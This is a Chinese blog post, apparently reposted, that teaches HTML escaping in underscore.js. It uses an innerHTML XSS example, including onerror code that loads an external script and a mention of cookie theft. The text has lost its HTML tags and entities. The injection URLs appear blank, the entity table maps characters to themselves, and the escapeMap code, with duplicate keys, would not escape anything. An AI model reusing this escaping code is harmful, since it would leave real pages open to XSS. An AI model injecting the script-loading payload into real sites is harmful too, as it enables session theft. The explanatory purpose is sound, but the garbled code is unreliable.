摘要:前言提供了函數(shù),用于轉(zhuǎn)義字符串,替換和字符為字符實(shí)體。如果希望正確地顯示預(yù)留字符,我們必須在源代碼中使用字符實(shí)體。字符實(shí)體有兩種形式。轉(zhuǎn)義我們的應(yīng)對方式就是將取得的值中的特殊字符轉(zhuǎn)為字符實(shí)體。
前言
underscore 提供了 _.escape 函數(shù),用于轉(zhuǎn)義 HTML 字符串,替換 &, <, >, ", ", 和 ` 字符為字符實(shí)體。
_.escape("Curly, Larry & Moe"); => "Curly, Larry & Moe"
underscore 同樣提供了 _.unescape 函數(shù),功能與 _.escape 相反:
_.unescape("Curly, Larry & Moe"); => "Curly, Larry & Moe"XSS 攻擊
可是我們?yōu)槭裁葱枰D(zhuǎn)義 HTML 呢?
舉個例子,一個個人中心頁的地址為:www.example.com/user.html?name=kevin,我們希望從網(wǎng)址中取出用戶的名稱,然后將其顯示在頁面中,使用 JavaScript,我們可以這樣做:
/** * 該函數(shù)用于取出網(wǎng)址參數(shù) */ function getQueryString(name) { var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)"); var r = window.location.search.substr(1).match(reg); if (r != null) return unescape(r[2]); return null; } var name = getQueryString("name"); document.getElementById("username").innerHTML = name;
如果被一個同樣懂技術(shù)的人發(fā)現(xiàn)的話,那么他可能會動點(diǎn)“壞心思”:
比如我把這個頁面的地址修改為:www.example.com/user.html?name=。
就相當(dāng)于:
document.getElementById("username").innerHTML = "";
會有什么效果呢?
結(jié)果是什么也沒有發(fā)生……
這是因?yàn)?
根據(jù) W3C 規(guī)范,script 標(biāo)簽中所指的腳本僅在瀏覽器第一次加載頁面時對其進(jìn)行解析并執(zhí)行其中的腳本代碼,所以通過 innerHTML 方法動態(tài)插入到頁面中的 script 標(biāo)簽中的腳本代碼在所有瀏覽器中默認(rèn)情況下均不能被執(zhí)行。
千萬不要以為這樣就安全了……
你把地址改成 www.example.com/user.html?name= 呢?
就相當(dāng)于:
document.getElementById("username").innerHTML = "";
整理下其中 onerror 的代碼:
var s = document.createElement("script"); s.src = "https://mqyqingfeng.github.io/demo/js/alert.js"; document.body.appendChild(s);
代碼中引入了一個第三方的腳本,這樣做的事情就多了,從取你的 cookie,發(fā)送到黑客自己的服務(wù)器,到監(jiān)聽你的輸入,到發(fā)起 CSRF 攻擊,直接以你的身份調(diào)用網(wǎng)站的各種接口……
總之,很危險。
為了防止這種情況的發(fā)生,我們可以將網(wǎng)址上的值取到后,進(jìn)行一個特殊處理,再賦值給 DOM 的 innerHTML。
字符實(shí)體問題是怎么進(jìn)行轉(zhuǎn)義呢?而這就要談到字符實(shí)體的概念了。
在 HTML 中,某些字符是預(yù)留的。比如說在 HTML 中不能使用小于號(<)和大于號(>),因?yàn)闉g覽器會誤認(rèn)為它們是標(biāo)簽。
如果希望正確地顯示預(yù)留字符,我們必須在 HTML 源代碼中使用字符實(shí)體(character entities)。
字符實(shí)體有兩種形式:
&entity_name;
entity_number;。
比如說我們要顯示小于號,我們可以這樣寫:< 或 <;
值得一提的是,使用實(shí)體名而不是數(shù)字的好處是,名稱易于記憶。不過壞處是,瀏覽器也許并不支持所有實(shí)體名稱(但是對實(shí)體數(shù)字的支持卻很好)。
也許你會好奇,為什么 < 的字符實(shí)體是 < 呢?這是怎么進(jìn)行計算的呢?
其實(shí)很簡單,就是取字符的 unicode 值,以 開頭接十進(jìn)制數(shù)字 或者以 開頭接十六進(jìn)制數(shù)字。舉個例子:
var num = "<".charCodeAt(0); // 60 num.toString(10) // "60" num.toString(16) // "3c"
我們可以以 < 或者 < 在 HTML 中表示出 <。
不信你可以寫這樣一段 HTML,顯示的效果都是 <:
<<<
再舉個例子:以字符 "喵" 為例:
var num = "喵".charCodeAt(0); // 21941 num.toString(10) // "21941" num.toString(16) // "55b5"
在 HTML 中,我們就可以用 喵 或者 喵 表示喵,不過“喵”并不具有實(shí)體名。
轉(zhuǎn)義我們的應(yīng)對方式就是將取得的值中的特殊字符轉(zhuǎn)為字符實(shí)體。
舉個例子,當(dāng)頁面地址是 www.example.com/user.html?name=123時,我們通過 getQueryString 取得 name 的值:
var name = getQueryString("name"); // 123
如果我們直接:
document.getElementById("username").innerHTML = name;
如我們所知,使用 innerHTML 會解析內(nèi)容字符串,并且改變元素的 HMTL 內(nèi)容,最終,從樣式上,我們會看到一個加粗的 123。
如果我們轉(zhuǎn)義,將 123 中的 < 和 > 轉(zhuǎn)為實(shí)體字符,即 123,我們再設(shè)置 innerHTML,瀏覽器就不會將其解釋為標(biāo)簽,而是一段字符,最終會直接顯示 123,這樣就避免了潛在的危險。
思考那么問題來了,我們具體要轉(zhuǎn)義哪些字符呢?
想想我們之所以要轉(zhuǎn)義 < 和 > ,是因?yàn)闉g覽器會將其認(rèn)為是一個標(biāo)簽的開始或結(jié)束,所以要轉(zhuǎn)義的字符一定是瀏覽器會特殊對待的字符,那還有什么字符會被特殊對待的呢?(O_o)??
& 是一個,因?yàn)闉g覽器會認(rèn)為 & 是一個字符實(shí)體的開始,如果你輸入了 <,瀏覽器會將其解釋為 <,但是當(dāng) < 是作為用戶輸入的值時,應(yīng)該僅僅是顯示用戶輸入的值,而不是將其解釋為一個 <。
" 和 " 也要注意,舉個例子:
服務(wù)器端渲染的代碼為:
function render (input) { return "" }
input 的值如果直接來自于用戶的輸入,用戶可以輸入 "> ,最終渲染的 HTML 代碼就變成了:
">
結(jié)果又是一次 XSS 攻擊……
最后還有一個是反引號 `,在 IE 低版本中(≤ 8),反引號可以用于關(guān)閉標(biāo)簽:
所以我們最終確定的要轉(zhuǎn)義的字符為:&, <, >, ", ", 和 `。轉(zhuǎn)義對應(yīng)的值為:
& --> & < --> < > --> > " --> " " --> ' ` --> <
值得注意的是:單引號和反引號使用是實(shí)體數(shù)字、而其他使用的是實(shí)體名稱,這主要是從兼容性的角度考慮的,有的瀏覽器并不能很好的支持單引號和反引號的實(shí)體名稱。
_.escape那么具體我們該如何實(shí)現(xiàn)轉(zhuǎn)義呢?我們直接看一個簡單的實(shí)現(xiàn):
var _ = {}; var escapeMap = { "&": "&", "<": "<", ">": ">", """: """, """: "'", "`": "`" }; _.escape = function(string) { var escaper = function(match) { return escapeMap[match]; }; // 使用非捕獲性分組 var source = "(?:" + Object.keys(escapeMap).join("|") + ")"; console.log(source) // (?:&|<|>|"|"|`) var testRegexp = RegExp(source); var replaceRegexp = RegExp(source, "g"); string = string == null ? "" : "" + string; return testRegexp.test(string) ? string.replace(replaceRegexp, escaper) : string; }
實(shí)現(xiàn)的思路很簡單,構(gòu)造一個正則表達(dá)式,先判斷是否能匹配到,如果能匹配到,就執(zhí)行 replace,根據(jù) escapeMap 將特殊字符進(jìn)行替換,如果不能匹配,說明不需要轉(zhuǎn)義,直接返回原字符串。
值得一提的是,我們在代碼中打印了構(gòu)造出的正則表達(dá)式為:
(?:&|<|>|"|"|`)
其中的 ?: 是個什么意思?沒有這個 ?: 就不可以匹配嗎?我們接著往下看。
非捕獲分組(?:pattern) 表示非捕獲分組,即會匹配 pattern 但不獲取匹配結(jié)果,不進(jìn)行存儲供以后使用。
我們來看個例子:
function replacer(match, p1, p2, p3) { // match,表示匹配的子串 abc12345#$*% // p1,第 1 個括號匹配的字符串 abc // p2,第 2 個括號匹配的字符串 12345 // p3,第 3 個括號匹配的字符串 #$*% return [p1, p2, p3].join(" - "); } var newString = "abc12345#$*%".replace(/([^d]*)(d*)([^w]*)/, replacer); // abc - 12345 - #$*%
現(xiàn)在我們給第一個括號中的表達(dá)式加上 ?:,表示第一個括號中的內(nèi)容不需要儲存結(jié)果:
function replacer(match, p1, p2) { // match,表示匹配的子串 abc12345#$*% // p1,現(xiàn)在匹配的是字符串 12345 // p1,現(xiàn)在匹配的是字符串 #$*% return [p1, p2].join(" - "); } var newString = "abc12345#$*%".replace(/(?:[^d]*)(d*)([^w]*)/, replacer); // 12345 - #$*%
在 _.escape 函數(shù)中,即使不使用 ?: 也不會影響匹配結(jié)果,只是使用 ?: 性能會更高一點(diǎn)。
反轉(zhuǎn)義我們使用了 _.escape 將指定字符轉(zhuǎn)為字符實(shí)體,我們還需要一個方法將字符實(shí)體轉(zhuǎn)義回來。
寫法與 _.unescape 類似:
var _ = {}; var unescapeMap = { "&": "&", "<": "<", ">": ">", """: """, "'": """, "`": "`" }; _.unescape = function(string) { var escaper = function(match) { return unescapeMap[match]; }; // 使用非捕獲性分組 var source = "(?:" + Object.keys(unescapeMap).join("|") + ")"; console.log(source) // (?:&|<|>|"|"|`) var testRegexp = RegExp(source); var replaceRegexp = RegExp(source, "g"); string = string == null ? "" : "" + string; return testRegexp.test(string) ? string.replace(replaceRegexp, escaper) : string; } console.log(_.unescape("Curly, Larry & Moe")) // Curly, Larry & Moe抽象
你會不會覺得 _.escape 與 _.unescape 的代碼實(shí)在是太像了,以至于讓人感覺很冗余呢?
那么我們又該如何優(yōu)化呢?
我們可以先寫一個 _.invert 函數(shù),將 escapeMap 傳入的時候,可以得到 unescapeMap,然后我們再根據(jù)傳入的 map (escapeMap 或者 unescapeMap) 不同,返回不同的函數(shù)。
實(shí)現(xiàn)的方式很簡單,直接看代碼:
/** * 返回一個object副本,使其鍵(keys)和值(values)對換。 * _.invert({a: "b"}); * => {b: "a"}; */ _.invert = function(obj) { var result = {}; var keys = Object.keys(obj); for (var i = 0, length = keys.length; i < length; i++) { result[obj[keys[i]]] = keys[i]; } return result; }; var escapeMap = { "&": "&", "<": "<", ">": ">", """: """, """: "'", "`": "`" }; var unescapeMap = _.invert(escapeMap); var createEscaper = function(map) { var escaper = function(match) { return map[match]; }; // 使用非捕獲性分組 var source = "(?:" + _.keys(map).join("|") + ")"; var testRegexp = RegExp(source); var replaceRegexp = RegExp(source, "g"); return function(string) { string = string == null ? "" : "" + string; return testRegexp.test(string) ? string.replace(replaceRegexp, escaper) : string; }; }; _.escape = createEscaper(escapeMap); _.unescape = createEscaper(unescapeMap);underscore 系列
underscore 系列目錄地址:https://github.com/mqyqingfeng/Blog。
underscore 系列預(yù)計寫八篇左右,重點(diǎn)介紹 underscore 中的代碼架構(gòu)、鏈?zhǔn)秸{(diào)用、內(nèi)部函數(shù)、模板引擎等內(nèi)容,旨在幫助大家閱讀源碼,以及寫出自己的 undercore。
如果有錯誤或者不嚴(yán)謹(jǐn)?shù)牡胤剑垊?wù)必給予指正,十分感謝。如果喜歡或者有所啟發(fā),歡迎 star,對作者也是一種鼓勵。
文章版權(quán)歸作者所有,未經(jīng)允許請勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請注明本文地址:http://systransis.cn/yun/93813.html
摘要:創(chuàng)建一個全局對象在瀏覽器中表示為對象在中表示對象保存下劃線變量被覆蓋之前的值如果出現(xiàn)命名沖突或考慮到規(guī)范可通過方法恢復(fù)被占用之前的值并返回對象以便重新命名創(chuàng)建一個空的對象常量便于內(nèi)部共享使用將內(nèi)置對象的原型鏈緩存在局部變量方便快速調(diào)用將 // Underscore.js 1.3.3 // (c) 2009-2012 Jeremy Ashkenas, DocumentCloud Inc....
摘要:所以它與其他系列的文章并不沖突,完全可以在閱讀完這個系列后,再跟著其他系列的文章接著學(xué)習(xí)。如何閱讀我在寫系列的時候,被問的最多的問題就是該怎么閱讀源碼我想簡單聊一下自己的思路。感謝大家的閱讀和支持,我是冴羽,下個系列再見啦 前言 別名:《underscore 系列 8 篇正式完結(jié)!》 介紹 underscore 系列是我寫的第三個系列,前兩個系列分別是 JavaScript 深入系列、...
摘要:前言本篇接著上篇系列之實(shí)現(xiàn)一個模板引擎上。字符串中的每個字符均可由一個轉(zhuǎn)義序列表示。在中,有四個字符被認(rèn)為是行終結(jié)符,其他的折行字符都會被視為空白。 前言 本篇接著上篇 underscore 系列之實(shí)現(xiàn)一個模板引擎(上)。 鑒于本篇涉及的知識點(diǎn)太多,我們先來介紹下會用到的知識點(diǎn)。 反斜杠的作用 var txt = We are the so-called Vikings from th...
摘要:值得注意的是,如果值在前面也就是值小于值,那么值域會被認(rèn)為是零長度,而不是負(fù)增長。 underscore.js源碼加注釋一共1500多行,它提供了一整套函數(shù)式編程實(shí)用的功能,一共一百多個函數(shù),幾乎每一個函數(shù)都可以作為參考典范。初讀的時候,真是一臉懵圈,各種函數(shù)閉包、迭代和嵌套的使用,讓我一時很難消化。在這里,我來記錄一下我學(xué)習(xí)underscore.js的一些發(fā)現(xiàn),以及幾個我認(rèn)為比較經(jīng)典...
摘要:第一版我們來嘗試實(shí)現(xiàn)第一版第一版為了驗(yàn)證是否有用文件文件完整的可以查看示例一在這里我們使用了,實(shí)際上在文章中使用的是構(gòu)造函數(shù)。構(gòu)造函數(shù)創(chuàng)建一個新的對象。 前言 underscore 提供了模板引擎的功能,舉個例子: var tpl = hello: ; var compiled = _.template(tpl); compiled({name: Kevin}); // hello:...
閱讀 2587·2021-11-25 09:43
閱讀 1864·2021-09-22 15:26
閱讀 3742·2019-08-30 15:56
閱讀 1715·2019-08-30 15:55
閱讀 1900·2019-08-30 15:54
閱讀 817·2019-08-30 15:52
閱讀 3158·2019-08-29 16:23
閱讀 897·2019-08-29 12:43